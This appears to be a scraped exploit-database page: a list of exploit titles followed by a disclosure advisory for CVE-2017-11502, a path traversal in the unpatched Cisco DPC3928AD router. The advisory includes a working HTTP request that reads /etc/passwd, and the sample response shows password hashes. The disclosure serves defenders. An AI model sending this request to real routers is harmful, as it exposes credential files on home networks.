e630f8c249
45 changes to exploits/shellcodes Cisco ASA - Crash PoC Cisco ASA - Crash (PoC) GNU binutils 2.26.1 - Integer Overflow (POC) GNU binutils 2.26.1 - Integer Overflow (PoC) K7 Total Security 15.1.0.305 - Device Driver Arbitrary Memory Read Linux Kernel - 'AF_PACKET' Use-After-Free Oracle Java JDK/JRE < 1.8.0.131 / Apache Xerces 2.11.0 - 'PDF/Docx' Server Side Denial of Service Microsoft Edge Chakra JIT - 'GlobOpt::OptTagChecks' Must Consider IsLoopPrePass Properly (2) Microsoft Edge Chakra JIT - Memory Corruption Microsoft Edge Chakra JIT - ImplicitCallFlags Checks Bypass Microsoft Edge Chakra JIT - Array Type Confusion via InitProto Instructions Microsoft Edge Chakra JIT - 'Array.prototype.reverse' Array Type Confusion Microsoft Edge Chakra JIT - 'NewScObjectNoCtor' Array Type Confusion Microsoft Edge Chakra JIT - 'LdThis' Type Confusion Pdfium - Pattern Shading Integer Overflows Pdfium - Out-of-Bounds Read with Shading Pattern Backed by Pattern Colorspace Chrome V8 - 'Runtime_RegExpReplace' Integer Overflow Hotspot Shield - Information Disclosure Linux Kernel (Ubuntu 17.04) - 'XFRM' Local Privilege Escalation Nitro Pro PDF - Multiple Vulnerabilities Odoo CRM 10.0 - Code Execution Dashlane - DLL Hijacking LightDM (Ubuntu 16.04/16.10) - Guest Account Local Privilege Escalation LightDM (Ubuntu 16.04/16.10) - 'Guest Account' Local Privilege Escalation Trustwave SWG 11.8.0.27 - SSH Unauthorized Access Ichano AtHome IP Cameras - Multiple Vulnerabilities Cisco UCS Platform Emulator 3.1(2ePE1) - Remote Code Execution Ikraus Anti Virus 2.16.7 - Remote Code Execution McAfee Security Scan Plus - Remote Command Execution OrientDB - Code Execution 360 Total Security - Local Privilege Escalation HPE Intelligent Management Center (iMC) 7.2 (E0403P10) - Code Execution Oracle Knowledge Management 12.1.1 < 12.2.5 - XML External Entity Leading To Remote Code Execution iBall WRA150N - Multiple Vulnerabilities GitStack - Unauthenticated Remote Code Execution Monstra CMS - Remote Code Execution Ametys CMS 4.0.2 - Unauthenticated Password Reset DblTek - Multiple Vulnerabilities FiberHome - Directory Traversal PHP Melody 2.7.3 - Multiple Vulnerabilities Tiandy IP Cameras 5.56.17.120 - Sensitive Information Disclosure Horde Groupware 5.2.21 - Unauthorized File Download QNAP HelpDesk < 1.1.12 - SQL Injection Hanbanggaoke IP Camera - Arbitrary Password Change McAfee LiveSafe 16.0.3 - Man In The Middle Registry Modification Leading to Remote Command Execution Sophos XG Firewall 16.05.4 MR-4 - Path Traversal Cisco DPC3928 Router - Arbitrary File Disclosure IDERA Uptime Monitor 7.8 - Multiple Vulnerabilities Geneko Routers - Unauthenticated Path Traversal Dasan Networks GPON ONT WiFi Router H640X versions 12.02-01121 / 2.77p1-1124 / 3.03p2-1146 - Unauthenticated Remote Code Execution
2 KiB
Vulnerability Summary
The following advisory describes an arbitrary file disclosure vulnerability found in Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway.
The Cisco DPC3928AD DOCSIS is a home wireless router that is currently "Out of support" but is provided by ISPs world wide.
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
We reported the vulnerability to Cisco and they informed us that the Cisco DPC3928AD sold to Technicolor: “The Cisco DPC3928AD was actually sold to Technicolor a while back. In this case, we will ask you to please contact Technicolor at security@technicolor.com to open a case with them”
After connecting Technicolor, they informed us that the product has reached end of life and they will not patch the vulnerability: “After an extensive search for the product to perform validation, we were unable to source the gateway to validate your proof of concept. Due to the end-of-sale and end-of-life of the product Technicolor will not be patching the bug.”
CVE: CVE-2017-11502
Vulnerability details
Cisco DPC3928AD DOCSIS 3.0 2-PORT Voice Gateway vulnerability is present on its TCP/4321 port .
Proof of Concept
An attacker can get the /etc/passwd file from the remote device, by sending the following request:
GET /../../../../../../../../../../../../../../../../etc/passwd
HTTP/1.1
Host: 192.168.0.10:4321
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
The Router response the next output with the passwd content:
HTTP/1.1 200 OK
Content-Type: text/html
SERVER: Linux/#2 Wed Nov 12 10:23:46 CST 2014 UPnP/1.0 Broadcom
UPNP/0.9
Content-Length: 247
Accept-Ranges: bytes
Date: Thu, 10 Nov 2016 16:01:04 GMT
root:HAdbdMWcXHOuKQ:0:0:root:/:/bin/sh
admin:KASJakljhHqiuJ:0:0:aDMINISTRATOR:/:/bin/false